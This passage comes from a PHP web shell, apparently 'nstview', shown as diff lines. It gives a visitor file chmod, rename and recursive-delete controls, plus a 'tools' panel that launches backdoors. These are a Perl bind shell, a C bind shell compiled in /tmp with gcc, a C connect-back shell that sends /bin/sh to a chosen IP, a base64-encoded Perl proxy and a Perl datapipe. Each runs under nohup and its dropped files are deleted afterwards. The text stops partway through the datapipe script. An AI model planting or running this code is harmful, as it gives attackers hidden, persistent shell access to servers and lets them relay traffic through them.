bgcolor="#ffffff"><input type="checkbox" name="other2" value="2" onclick="do_chmod('other')"></td> + </tr><tr bgcolor="#dddddd"> + <td align="left" nowrap><b>Execute</b></td> + <td align="center" bgcolor="#ffffff"><input type="checkbox" name="owner1" value="1" onclick="do_chmod('owner')"></td> + <td align="center" bgcolor="#ffffff"><input type="checkbox" name="group1" value="1" onclick="do_chmod('group')"></td> + <td align="center" bgcolor="#ffffff"><input type="checkbox" name="other1" value="1" onclick="do_chmod('other')"></td> + </tr><tr bgcolor="#dddddd"> + <td align="right" nowrap>Octal:</td> + <td align="center"><input type="text" name="t_owner" value="" size="1"></td> + <td align="center"><input type="text" name="t_group" value="" size="1"></td> + <td align="center"><input type="text" name="t_other" value="" size="1"></td> + <td align="left"><b>=</b> <input type="text" name="t_total" value="777" size="3"></td> + </tr><tr bgcolor="#dddddd"> + <td align="right" nowrap>Symbolic:</td> + <td align="center"><input type="text" name="sym_owner" value="" size="3"></td> + <td align="center"><input type="text" name="sym_group" value="" size="3"></td> + <td align="center"><input type="text" name="sym_other" value="" size="3"></td> + <td align="left" width=100><b>=</b> <input type="text" name="sym_total" value="" size="10"></td> + </tr> +</table></td></tr></table></p> +HTML; + +print "<center>".$chmd." + +<b>$d/$wich_f</b><br><br> +<input type=submit value=CHMOD></form> +</center> +</form> +"; +$t_total=$_POST['t_total']; +if($t_total){ +chmod($d."/".$wich_f,$t_total); +print "<center><font color=green><br><b>Now chmod is $t_total</b><br><br></font>"; +print "<a href='$php_self?d=$d'># BACK</a><br><br>"; +} +echo $copyr; +exit; +} + +# rename +if(@$_GET['rename']){ +print "<b><font color=green>RENAME $d/$wich_f ?</b></font><br><br> +<center> +<form method=post> +<b>RENAME</b><br><u>$wich_f</u><br><Br><B>TO</B><br> +<input name=rto size=40 value='$wich_f'><br><br> +<input type=submit value=RENAME> +</form> +"; + +@$rto=$_POST['rto']; + +if($rto){ +$fr1=$d."/".$wich_f; +$fr1=str_replace("//","/",$fr1); +$to1=$d."/".$rto; +$to1=str_replace("//","/",$to1); + +rename($fr1,$to1); +print "File <br><b>$wich_f</b><br>Renamed to <b>$rto</b><br><br>"; + +echo "<meta http-equiv=\"REFRESH\" content=\"3;URL=".$php_self."?d=".$d."&rename=1&wich_f=".$rto."\">"; + +} + +echo $copyr; +exit; +} + + + + +if(@$_GET['deldir']){ +@$dir=$_GET['dir']; +function deldir($dir) +{ +$handle = @opendir($dir); +while (false!==($ff = @readdir($handle))){ +if($ff != "." && $ff != ".."){ +if(@is_dir("$dir/$ff")){ +deldir("$dir/$ff"); +}else{ +@unlink("$dir/$ff"); +}}} +@closedir($handle); +if(@rmdir($dir)){ +@$success = true;} +return @$success; +} +$dir=@$dir; +deldir($dir); + +$rback=$_GET['rback']; +@$rback=explode("/",$rback); +$crb=count($rback); +for($i=0; $i<$crb-1; $i++){ + @$x.=$rback[$i]."/"; +} +echo "<meta http-equiv=\"REFRESH\" content=\"0;URL='$php_self?d=".@$x."'\">"; +echo $copyr; +exit;} + + +if(@$_GET['t']=="tools"){ + # unix +if($os=="unix"){ +print " +<center><br> +<font color=red><b>P.S: After you Start, your browser may stuck! You must close it, and then run nstview.php again.</b><br></font> +<table border=1> +<tr><td align=center><b>[Name]</td><td align=center><b>[C]</td><td align=center><b>[Port]</td><td align=center><b>[Perl]</td><td align=center><b>[Port]</td><td align=center><b>[Other options, info]</td></tr> +<tr><form method=post><td><font color=red><b>Backdoor:</b></font></td><td><input type=submit name=c_bd value='Start' style='background-color:green;'></td><td><input name=port size=6 value=5545></td></form><form method=post><td><input type=submit name=perl_bd value='Start' style='background-color:green;'></td><td><input name=port value=5551 size=6></td><td>none</td></form></tr> +<tr><form method=post><td><font color=red><b>Back connect:</b></font></td><td><input type=submit value='Start' name=bc_c style='background-color:green;'></td><td><input name=port_c size=6 value=5546></td><td><input type=submit value='Start' name=port_p disabled style='background-color:gray;'></td><td><input name=port value=5552 size=6></td><td>b.c. ip: <input name=ip value='".$_SERVER['REMOTE_ADDR']."'> nc -l -p <i>5546</i></td></form></tr> +<tr><form method=post><td><font color=red><b>Datapipe:</b></font></td><td><input type=submit value='Start' disabled style='background-color:gray;'></td><td><input name=port_1 size=6 value=5547></td><td><input type=submit value='Start' name=datapipe_pl style='background-color:green;'></td><td><input name=port_2 value=5553 size=6></td><td>other serv ip: <input name=ip> port: <input name=port_3 value=5051 size=6></td></form></tr> +<tr><form method=post><td><font color=red><b>Web proxy:</b></font></td><td><input type=submit value='Start' disabled style='background-color:gray;'></td><td><input name=port size=6 value=5548></td></form><form method=post><td><input type=submit value='Start' name=perl_proxy style='background-color:green;'></td><td><input name=port size=6 value=5554></td></form><td>none</td></tr> +<tr><form method=post><td><font color=red><b>Socks 4 serv:</b></font></td><td><input type=submit value='Start' disabled style='background-color:gray;'></td><td><input name=port size=6 value=5549></td></form><td><input type=submit value='Start' disabled style='background-color:gray;'></td><td><input name=port size=6 value=5555></td><td>none</td></tr> +<tr><form method=post><td><font color=red><b>Socks 5 serv:</b></font></td><td><input type=submit value='Start' disabled style='background-color:gray;'></td><td><input name=port size=6 value=5550></td></form><td><input type=submit value='Start' disabled style='background-color:gray;'></td><td><input name=port size=6 value=5556></td><td>none</td></tr> +</table> +</center> +<br><Br> +"; +}#end of unix + + +if($_POST['perl_bd']){ +$port=$_POST['port']; +$perl_bd_scp = " +use Socket;\$p=$port;socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')); +setsockopt(S,SOL_SOCKET,SO_REUSEADDR,1);bind(S,sockaddr_in(\$p,INADDR_ANY)); +listen(S,50);while(1){accept(X,S);if(!(\$pid=fork)){if(!defined \$pid){exit(0);} +open STDIN,\"<&X\";open STDOUT,\">&X\";open STDERR,\">&X\";exec(\"/bin/sh -i\"); +close X;}}"; + +if(is_writable("/tmp")){ +$fp=fopen("/tmp/nst_perl_bd.pl","w"); +fwrite($fp,"$perl_bd_scp"); +passthru("nohup perl /tmp/nst_perl_bd.pl &"); +unlink("/tmp/nst_perl_bd.pl"); +}else{ +if(is_writable(".")){ +mkdir(".nst_bd_tmp"); +$fp=fopen(".nst_bd_tmp/nst_perl_bd.pl","w"); +fwrite($fp,"$perl_bd_scp"); +passthru("nohup perl .nst_bd_tmp/nst_perl_bd.pl &"); +unlink(".nst_bd_tmp/nst_perl_bd.pl"); +rmdir(".nst_bd_tmp"); +} +} +$show_ps="1"; +}#end of start perl_bd + +if($_POST['perl_proxy']){ +$port=$_POST['port']; +$perl_proxy_scp = "IyEvdXNyL2Jpbi9wZXJsICANCiMhL3Vzci91c2MvcGVybC81LjAwNC9iaW4vcGVybA0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMtIGh0dHAgcHJveHkgc2VydmVyLiB6YXB1c2thamVtOiBwZXJsIHByb3h5LnBsCTgxODEgbHVib2ogcG9ydCB2aTZpIDEwMjQtDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KI3JlcXVpcmUgInN5cy9zb2NrZXQucGgiOw0KdXNlIFNvY2tldDsNCnNyYW5kICh0aW1lfHwkJCk7DQojLS0tICBEZWZpbmUgYSBmcmllbmRseSBleGl0IGhhbmRsZXINCiRTSUd7J0tJTEwnfSA9ICRTSUd7UVVJVH0gPSAkU0lHe0lOVH0gPSAnZXhpdF9oYW5kbGVyJzsNCnN1YiBleGl0X2hhbmRsZXIgew0KICAgIHByaW50ICJcblxuIC0tLSBQcm94eSBzZXJ2ZXIgaXMgZHlpbmcgLi4uXG5cbiI7DQogICAgY2xvc2UoU09DS0VUKTsNCiAgICBleGl0Ow0KDQp9DQojLS0tICBTZXR1cCBzb2NrZXQNCg0KJHwgPSAxOw0KJHByb3h5X3BvcnQgPSBzaGlmdChAQVJHVik7DQokcHJveHlfcG9ydCA9IDgxODEgdW5sZXNzICRwcm94eV9wb3J0ID1+IC9cZCsvOw0KDQokc29ja2V0X2Zvcm1hdCA9ICdTIG4gYTQgeDgnOw0KJmxpc3Rlbl90b19wb3J0KFNPQ0tFVCwgJHByb3h5X3BvcnQpOw0KJGxvY2FsX2hvc3QgPSBgaG9zdG5hbWVgOw0KY2hvcCgkbG9jYWxfaG9zdCk7DQokbG9jYWxfaG9zdF9pcCA9IChnZXRob3N0YnluYW1lKCRsb2NhbF9ob3N0KSlbNF07DQpwcmludCAiIC0tLSBQcm94eSBzZXJ2ZXIgcnVubmluZyBvbiAkbG9jYWxfaG9zdCBwb3J0OiAkcHJveHlfcG9ydCBcblxuIjsNCiMtLS0gIExvb3AgZm9yZXZlciB0YWtpbmcgcmVxdWVzdHMgYXMgdGhleSBjb21lDQp3aGlsZSAoMSkgew0KIy0tLSAgV2FpdCBmb3IgcmVxdWVzdA0KICAgIHByaW50ICIgLS0tIFdhaXRpbmcgdG8gYmUgb2Ygc2VydmljZSAuLi5cbiI7DQogICAgKCRhZGRyID0gYWNjZXB0KENISUxELFNPQ0tFVCkpIHx8IGRpZSAiYWNjZXB0ICQhIjsNCiAgICAoJHBvcnQsJGluZXRhZGRyKSA9ICh1bnBhY2soJHNvY2tldF9mb3JtYXQsJGFkZHIpKVsxLDJdOw0KICAgIEBpbmV0YWRkciA9IHVucGFjaygnQzQnLCRpbmV0YWRkcik7DQogICAgcHJpbnQgIkNvbm5lY3Rpb24gZnJvbSAiLCBqb2luKCIuIiwgQGluZXRhZGRyKSwgIiAgcG9ydDogJHBvcnQgXG4iOw0KIy0tLSAgRm9yayBhIHN1YnByb2Nlc3MgdG8gaGFuZGxlIHJlcXVlc3QuDQojLS0tICBQYXJlbnQgcHJvY2VzIGNvbnRpbnVlcyBsaXN0ZW5pbmcuDQogICAgaWYgKGZvcmspIHsNCgl3YWl0OwkJIyBGb3Igbm93IHdlIHdhaXQgZm9yIHRoZSBjaGlsZCB0byBmaW5pc2gNCgluZXh0OwkJIyBXZSB3YWl0IHNvIHRoYXQgcHJpbnRvdXRzIGRvbid0IG1peA0KICAgIH0NCiMtLS0gIFJlYWQgZmlyc3QgbGluZSBvZiByZXF1ZXN0IGFuZCBhbmFseXplIGl0Lg0KIy0tLSAgUmV0dXJuIGFuZCBlZGl0ZWQgdmVyc2lvbiBvZiB0aGUgZmlyc3QgbGluZSBhbmQgdGhlIHJlcXVlc3QgbWV0aG9kLg0KICAgKCRmaXJzdCwkbWV0aG9kKSA9ICZhbmFseXplX3JlcXVlc3Q7DQojLS0tICBTZW5kIHJlcXVlc3QgdG8gcmVtb3RlIGhvc3QNCiAgICBwcmludCBVUkwgJGZpcnN0Ow0KICAgIHByaW50ICRmaXJzdDsNCiAgICB3aGlsZSAoPENISUxEPikgew0KCXByaW50ICRfOw0KCW5leHQgaWYgKC9Qcm94eS1Db25uZWN0aW9uOi8pOw0KCXByaW50IFVSTCAkXzsNCglsYXN0IGlmICgkXyA9fiAvXltcc1x4MDBdKiQvKTsNCiAgICB9DQogICAgaWYgKCRtZXRob2QgZXEgIlBPU1QiKSB7DQoJJGRhdGEgPSA8Q0hJTEQ+Ow0KCXByaW50ICRkYXRhOw0KCXByaW50IFVSTCAkZGF0YTsNCiAgICB9DQogICAgcHJpbnQgVVJMICJcbiI7DQojLS0tICBXYWl0IGZvciByZXNwb25zZSBhbmQgdHJhbnNmZXIgaXQgdG8gcmVxdWVzdG9yLg0KICAgIHByaW50ICIgLS0tIERvbmUgc2VuZGluZy4gUmVzcG9uc2U6IFxuXG4iOw0KICAgICRoZWFkZXIgPSAxOw0KICAgICR0ZXh0ID0gMDsNCiAgICB3aGlsZSAoPFVSTD4pIHsNCglwcmludCBDSElMRCAkXzsNCglpZiAoJGhlYWRlciB8fCAkdGV4dCkgewkgICAgICMgT25seSBwcmludCBoZWFkZXIgJiB0ZXh0IGxpbmVzIHRvIFNURE9VVA0KCSAgICBwcmludCAkXzsNCgkgICAgaWYgKCRoZWFkZXIgJiYgJF8gPX4gL15bXHNceDAwXSokLykgew0KCQkkaGVhZGVyID0gMDsNCgkgICAgfQ0KIwkgICAgaWYgKCRoZWFkZXIgJiYgJF8gPX4gL15Db250ZW50LXR5cGU6IHRleHQvKSB7DQojCQkkdGV4dCA9IDE7DQojCSAgICB9DQoJfQ0KICAgIH0NCiAgICBjbG9zZShVUkwpOw0KICAgIGNsb3NlKENISUxEKTsNCiAgICBleGl0OwkJCSMgRXhpdCBmcm9tIGNoaWxkIHByb2Nlc3MNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojLS0JYW5hbHl6ZV9yZXF1ZXN0CQkJCQkJCS0tDQojLS0JCQkJCQkJCQktLQ0KIy0tCUFuYWx5emUgYSBuZXcgcmVxdWVzdC4gIEZpcnN0IHJlYWQgaW4gZmlyc3QgbGluZSBvZiByZXF1ZXN0LgktLQ0KIy0tCVJlYWQgVVJMIGZyb20gaXQsIHByb2Nlc3MgVVJMIGFuZCBvcGVuIGNvbm5lY3Rpb24uCQktLQ0KIy0tCVJldHVybiBhbiBlZGl0ZWQgdmVyc2lvbiBvZiB0aGUgZmlyc3QgbGluZSBhbmQgdGhlIHJlcXVlc3QJLS0NCiMtLQltZXRob2QuCQkJCQkJCQktLQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBhbmFseXplX3JlcXVlc3Qgew0KIy0tLSAgUmVhZCBmaXJzdCBsaW5lIG9mIEhUVFAgcmVxdWVzdA0KICAgICRmaXJzdCA9IDxDSElMRD47DQoNCiAgICAkdXJsID0gKCRmaXJzdCA9fiBtfChodHRwOi8vXFMrKXwpWzBdOw0KICAgIHByaW50ICJSZXF1ZXN0IGZvciBVUkw6ICAkdXJsIFxuIjsNCg0KIy0tLSAgQ2hlY2sgaWYgZmlyc3QgbGluZSBpcyBvZiB0aGUgZm9ybSBHRVQgaHR0cDovL2hvc3QtbmFtZSAuLi4NCiAgICAoJG1ldGhvZCwgJHJlbW90ZV9ob3N0LCAkcmVtb3RlX3BvcnQpID0gDQoJKCRmaXJzdCA9fiBtIShHRVR8UE9TVHxIRUFEKSBodHRwOi8vKFteLzpdKyk6PyhcZCopISApOw0KIy0tLSAgSWYgbm90LCBiYWQgcmVxdWVzdC4NCiAgICANCiAgICBpZiAoISRyZW1vdGVfaG9zdCkgew0KCXByaW50ICRmaXJzdDsNCgl3aGlsZSAoPENISUxEPikgew0KCSAgICBwcmludCAkXzsNCgkgICAgbGFzdCBpZiAoJF8gPX4gL15bXHNceDAwXSokLyk7DQoJfQ0KCXByaW50ICJJbnZhbGlkIEhUVFAgcmVxdWVzdCBmcm9tICIsIGpvaW4oIi4iLCBAaW5ldGFkZHIpLCAiXG4iOw0KIwlwcmludCBDSElMRCAiQ29udGVudC10eXBlOiB0ZXh0L3BsYWluIiwiXG5cbiI7DQoJcHJpbnQgQ0hJTEQgIkkgZG9uJ3QgdW5kZXJzdGFuZCB5b3VyIHJlcXVlc3QuXG4iOw0KCWNsb3NlKENISUxEKTsNCglleGl0Ow0KICAgIH0NCiMtLS0gIElmIHJlcXVlc3RlZCBVUkwgaXMgdGhlIHByb3h5IHNlcnZlciB0aGVuIGlnbm9yZSByZXF1ZXN0DQogICAgJHJlbW90ZV9pcCA9IChnZXRob3N0YnluYW1lKCRyZW1vdGVfaG9zdCkpWzRdOw0KICAgIGlmICgoJHJlbW90ZV9pcCBlcSAkbG9jYWxfaG9zdF9pcCkgJiYgKCRyZW1vdGVfcG9ydCBlcSAkcHJveHlfcG9ydCkpIHsNCglwcmludCAkZmlyc3Q7DQoJd2hpbGUgKDxDSElMRD4pIHsNCgkgICAgcHJpbnQgJF87DQoJICAgIGxhc3QgaWYgKCRfID1+IC9eW1xzXHgwMF0qJC8pOw0KCX0NCglwcmludCAiIC0tLSBDb25uZWN0aW9uIHRvIHByb3h5IHNlcnZlciBpZ25vcmVkLlxuIjsNCiMJcHJpbnQgQ0hJTEQgIkNvbnRlbnQtdHlwZTogdGV4dC9wbGFpbiIsIlxuXG4iOw0KCXByaW50IENISUxEICJJdCdzIG5vdCBuaWNlIHRvIG1ha2UgbWUgbG9vcCBvbiBteXNlbGYhLlxuIjsNCgljbG9zZShDSElMRCk7DQoJZXhpdDsNCiAgICB9DQojLS0tICBTZXR1cCBjb25uZWN0aW9uIHRvIHRhcmdldCBob3N0IGFuZCBzZW5kIHJlcXVlc3QNCiAgICAkcmVtb3RlX3BvcnQgPSAiaHR0cCIgdW5sZXNzICgkcmVtb3RlX3BvcnQpOw0KICAgICZvcGVuX2Nvbm5lY3Rpb24oVVJMLCAkcmVtb3RlX2hvc3QsICRyZW1vdGVfcG9ydCk7DQojLS0tICBSZW1vdmUgcmVtb3RlIGhvc3RuYW1lIGZyb20gVVJMDQogICAgICAgICRmaXJzdCA9fiBzL2h0dHA6XC9cL1teXC9dKy8vOw0KICAgICgkZmlyc3QsICRtZXRob2QpOw0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMtLQlsaXN0ZW5fdG9fcG9ydChTT0NLRVQsICRwb3J0KQkJCQkJLS0NCiMtLQkJCQkJCQkJCS0tDQojLS0JQ3JlYXRlIGEgc29ja2V0IHRoYXQgbGlzdGVucyB0byBhIHNwZWNpZmljIHBvcnQJCQktLQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBsaXN0ZW5fdG9fcG9ydCB7DQogICAgbG9jYWwgKCRwb3J0KSA9ICRfWzFdOw0KICAgIGxvY2FsICgkc29ja2V0X2Zvcm1hdCwgJHByb3RvLCAkcGFja2VkX3BvcnQsICRjdXIsICRtYXhfcmVxdWVzdHMpOw0KICAgICRtYXhfcmVxdWVzdHMgPSAzOwkJIyBNYXggbnVtYmVyIG9mIG91dHN0YW5kaW5nIHJlcXVlc3RzDQogICAgJHNvY2tldF9mb3JtYXQgPSAnUyBuIGE0IHg4JzsNCiAgICAkcHJvdG8gPSAoZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKVsyXTsNCiAgICAkcGFja2VkX3BvcnQgPSBwYWNrKCRzb2NrZXRfZm9ybWF0LCAmQUZfSU5FVCwgJHBvcnQsICJcMFwwXDBcMCIpOw0KICAgIHNvY2tldCgkX1swXSwgJlBGX0lORVQsICZTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUgInNvY2tldDogJCEiOw0KICAgIGJpbmQoJF9bMF0sICRwYWNrZWRfcG9ydCkgfHwgZGllICJiaW5kOiAkISI7DQogICAgbGlzdGVuKCRfWzBdLCAkbWF4X3JlcXVlc3RzKSB8fCBkaWUgImxpc3RlbjogJCEiOw0KICAgICRjdXIgPSBzZWxlY3QoJF9bMF0pOyAgDQogICAgJHwgPSAxOwkJCQkjIERpc2FibGUgYnVmZmVyaW5nIG9uIHNvY2tldC4NCiAgICBzZWxlY3QoJGN1cik7DQogICAgfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIy0tCW9wZW5fY29ubmVjdGlvbihTT0NLRVQsICRyZW1vdGVfaG9zdG5hbWUsICRwb3J0KQkJLS0NCiMtLQkJCQkJCQkJCS0tDQojLS0JQ3JlYXRlIGEgc29ja2V0IHRoYXQgY29ubmVjdHMgdG8gYSBjZXJ0YWluIGhvc3QJCQktLQ0KIy0tCSRsb2NhbF9ob3N0X2lwIGlzIGFzc3VtZWQgdG8gYmUgbG9jYWwgaG9zdG5hbWUgSVAgYWRkcmVzcwktLQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBvcGVuX2Nvbm5lY3Rpb24gew0KICAgIGxvY2FsICgkcmVtb3RlX2hvc3RuYW1lLCAkcG9ydCkgPSBAX1sxLDJdOw0KICAgIGxvY2FsICgkc29ja2V0X2Zvcm1hdCwgJHByb3RvLCAkcGFja2VkX3BvcnQsICRjdXIpOw0KICAgIGxvY2FsICgkcmVtb3RlX2FkZHIsIEByZW1vdGVfaXAsICRyZW1vdGVfaXApOw0KICAgIGxvY2FsICgkbG9jYWxfcG9ydCwgJHJlbW90ZV9wb3J0KTsNCiAgICBpZiAoJHBvcnQgIX4gL15cZCskLykgew0KCSRwb3J0ID0gKGdldHNlcnZieW5hbWUoJHBvcnQsICJ0Y3AiKSlbMl07DQoJJHBvcnQgPSA2NjY3IHVubGVzcyAoJHBvcnQpOw0KICAgIH0NCiAgICAkcHJvdG8gPSAoZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKVsyXTsNCiAgICAkcmVtb3RlX2FkZHIgPSAoZ2V0aG9zdGJ5bmFtZSgkcmVtb3RlX2hvc3RuYW1lKSlbNF07DQogICAgaWYgKCEkcmVtb3RlX2FkZHIpIHsNCglkaWUgIlVua25vd24gaG9zdDogJHJlbW90ZV9ob3N0bmFtZSI7DQogICAgfQ0KDQogICAgQHJlbW90ZV9pcCA9IHVucGFjaygiQzQiLCAkcmVtb3RlX2FkZHIpOw0KICAgICRyZW1vdGVfaXAgPSBqb2luKCIuIiwgQHJlbW90ZV9pcCk7DQogICAgcHJpbnQgIkNvbm5lY3RpbmcgdG8gJHJlbW90ZV9pcCBwb3J0ICRwb3J0LlxuXG4iOw0KICAgICRzb2NrZXRfZm9ybWF0ID0gJ1MgbiBhNCB4OCc7DQogICAgJGxvY2FsX3BvcnQgID0gcGFjaygkc29ja2V0X2Zvcm1hdCwgJkFGX0lORVQsIDAsICRsb2NhbF9ob3N0X2lwKTsNCiAgICAkcmVtb3RlX3BvcnQgPSBwYWNrKCRzb2NrZXRfZm9ybWF0LCAmQUZfSU5FVCwgJHBvcnQsICRyZW1vdGVfYWRkcik7DQogICAgc29ja2V0KCRfWzBdLCAmQUZfSU5FVCwgJlNPQ0tfU1RSRUFNLCAkcHJvdG8pIHx8IGRpZSAic29ja2V0OiAkISI7DQogICAgYmluZCgkX1swXSwgJGxvY2FsX3BvcnQpIHx8IGRpZSAiYmluZDogJCEiOw0KICAgIGNvbm5lY3QoJF9bMF0sICRyZW1vdGVfcG9ydCkgfHwgZGllICJzb2NrZXQ6ICQhIjsNCiAgICAkY3VyID0gc2VsZWN0KCRfWzBdKTsgIA0KDQogICAgJHwgPSAxOwkJCQkjIERpc2FibGUgYnVmZmVyaW5nIG9uIHNvY2tldC4NCiAgICBzZWxlY3QoJGN1cik7DQp9DQoNCg=="; + +if(is_writable("/tmp")){ +$fp=fopen("/tmp/nst_perl_proxy.pl","w"); +fwrite($fp,base64_decode($perl_proxy_scp)); +passthru("nohup perl /tmp/nst_perl_proxy.pl $port &"); +unlink("/tmp/nst_perl_proxy.pl"); +}else{ +if(is_writable(".")){ +mkdir(".nst_proxy_tmp"); +$fp=fopen(".nst_proxy_tmp/nst_perl_proxy.pl","w"); +fwrite($fp,base64_decode($perl_proxy_scp)); +passthru("nohup perl .nst_proxy_tmp/nst_perl_proxy.pl $port &"); +unlink(".nst_proxy_tmp/nst_perl_proxy.pl"); +rmdir(".nst_proxy_tmp"); +} +} +$show_ps="1"; +}#end of start perl_proxy + +if($_POST['c_bd']){ +$port=$_POST['port']; +$c_bd_scp = "#define PORT $port +#include <stdio.h> +#include <signal.h> +#include <sys/types.h> +#include <sys/socket.h> +#include <netinet/in.h> + +int soc_des, soc_cli, soc_rc, soc_len, server_pid, cli_pid; +struct sockaddr_in serv_addr; +struct sockaddr_in client_addr; + +int main () +{ + soc_des = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); + if (soc_des == -1) + exit(-1); + bzero((char *) &serv_addr, sizeof(serv_addr)); + serv_addr.sin_family = AF_INET; + serv_addr.sin_addr.s_addr = htonl(INADDR_ANY); + serv_addr.sin_port = htons(PORT); + soc_rc = bind(soc_des, (struct sockaddr *) &serv_addr, sizeof(serv_addr)); + if (soc_rc != 0) + exit(-1); + if (fork() != 0) + exit(0); + setpgrp(); + signal(SIGHUP, SIG_IGN); + if (fork() != 0) + exit(0); + soc_rc = listen(soc_des, 5); + if (soc_rc != 0) + exit(0); + while (1) { + soc_len = sizeof(client_addr); + soc_cli = accept(soc_des, (struct sockaddr *) &client_addr, &soc_len); + if (soc_cli < 0) + exit(0); + cli_pid = getpid(); + server_pid = fork(); + if (server_pid != 0) { + dup2(soc_cli,0); + dup2(soc_cli,1); + dup2(soc_cli,2); + execl(\"/bin/sh\",\"sh\",(char *)0); + close(soc_cli); + exit(0); + } + close(soc_cli); + } +} + +"; + + +if(is_writable("/tmp")){ +$fp=fopen("/tmp/nst_c_bd.c","w"); +fwrite($fp,"$c_bd_scp"); +passthru("gcc /tmp/nst_c_bd.c -o /tmp/nst_bd"); +passthru("nohup /tmp/nst_bd &"); +unlink("/tmp/nst_c_bd.c"); +unlink("/tmp/nst_bd"); +}else{ +if(is_writable(".")){ +mkdir(".nst_bd_tmp"); +$fp=fopen(".nst_bd_tmp/nst_c_bd.c","w"); +fwrite($fp,"$c_bd_scp"); +passthru("gcc .nst_bd_tmp/nst_c_bd.c -o .nst_bd_tmp/nst_bd"); +passthru("nohup .nst_bd_tmp/nst_bd &"); +unlink(".nst_bd_tmp/nst_bd"); +unlink(".nst_bd_tmp/nst_c_bd.c"); +rmdir(".nst_bd_tmp"); +} +} +$show_ps="1"; +}#end of c bd + + +if($_POST['bc_c']){ # nc -l -p 4500 +$port_c = $_POST['port_c']; +$ip=$_POST['ip']; +$bc_c_scp = "#include <stdio.h> +#include <sys/types.h> +#include <sys/socket.h> +#include <unistd.h> +#include <fcntl.h> + +#include <netinet/in.h> +#include <netdb.h> + +int fd, sock; +int port = $port_c; +struct sockaddr_in addr; + +char mesg[] = \"::Connect-Back Backdoor:: CMD: \"; +char shell[] = \"/bin/sh\"; + +int main(int argc, char *argv[]) { + while(argc<2) { + fprintf(stderr, \" %s <ip> \", argv[0]); + exit(0); } + +addr.sin_family = AF_INET; +addr.sin_port = htons(port); +addr.sin_addr.s_addr = inet_addr(argv[1]); +fd = socket(AF_INET, SOCK_STREAM, 0); +connect(fd, (struct sockaddr*)&addr, sizeof(addr)); + +send(fd, mesg, sizeof(mesg), 0); + +dup2(fd, 0); +dup2(fd, 1); +dup2(fd, 2); +execl(shell, \"in.telnetd\", 0); + +close(fd); +return 1; +} + +"; + +if(is_writable("/tmp")){ +if(file_exists("/tmp/nst_c_bc_c.c")){unlink("/tmp/nst_c_bc_c.c");} +if(file_exists("/tmp/nst_c_bc_c.c")){unlink("/tmp/nst_c_bc");} +$fp=fopen("/tmp/nst_c_bc_c.c","w"); +$bd_c_scp=str_replace("!n","\n",$bd_c_scp); +fwrite($fp,"$bc_c_scp"); +passthru("gcc /tmp/nst_c_bc_c.c -o /tmp/nst_bc_c"); +passthru("nohup /tmp/nst_bc_c $ip &"); +unlink("/tmp/nst_bc_c"); +unlink("/tmp/nst_bc_c.c"); +}else{ +if(is_writable(".")){ +mkdir(".nst_bc_c_tmp"); +$fp=fopen(".nst_bc_c_tmp/nst_c_bc_c.c","w"); +$bd_c_scp=str_replace("!n","\n",$bd_c_scp); +fwrite($fp,"$bc_c_scp"); +passthru("gcc .nst_bc_c_tmp/nst_c_bc_c.c -o .nst_bc_c_tmp/nst_bc_c"); +passthru("nohup .nst_bc_c_tmp/nst_bc_c $ip &"); +unlink(".nst_bc_c_tmp/nst_bc_c.c"); +unlink(".nst_bc_c_tmp/nst_bc_c"); +rmdir(".nst_bc_c_tmp"); +} +} +$show_ps="1"; + +}#end of back connect C + + +if($_POST['datapipe_pl']){ +$port_2=$_POST['port_2']; +$port_3=$_POST['port_3']; +$ip=$_POST['ip']; +$datapipe_pl = " +#!/usr/bin/perl +# EEdited By KingDefacer (Turkish Hacker) +use IO::Socket; +use POSIX; + +\$localport=$port_2; +\$host=\"$ip\"; +\$port=$port_3; + +\$daemon=1; + +\$DIR = undef; + +## �������� ��� ������� (1-��, 0-���) +\$log=0; + + + + +\$| = 1; + +if (\$daemon){ + print \"3anycKaeM daemon\n\"; + + \$pid = fork; + exit if \$pid; + die \"Couldn't fork: \$!\" unless defined(\$pid); + POSIX::setsid() or die \"Can't start a new session: \$!\"; +} + +%o = ('port' => \$localport, + 'toport' => \$port, + 'tohost' => \$host); + +\$ah = IO::Socket::INET->new( + 'LocalPort' => \$localport, + 'Reuse' => 1, + 'Listen' => 10) + || die \"������ ������� ����� ��� ����������: \$!\"; + +print \"�������� ���������� �����.\n\" if \$log; +\$SIG{'CHLD'} = 'IGNORE'; +\$num = 0; +while (1) { + \$ch = \$ah->accept(); + if (!\$ch) { + print STDERR \"�������� ��������� accept: \$!\n\"; + next; + } + + printf(\"����� ������: host %s, port %s.\n\", + \$ch->peerhost(), \$ch->peerport()) if \$log; + ++\$num; + \$pid = fork(); + if (!defined(\$pid)) { + print STDERR \"���������� ��������� fork: \$!\n\"; + } elsif (\$pid == 0) { +## ����� ������� + \$ah->close(); + Run(\%o, \$ch, \$num); + 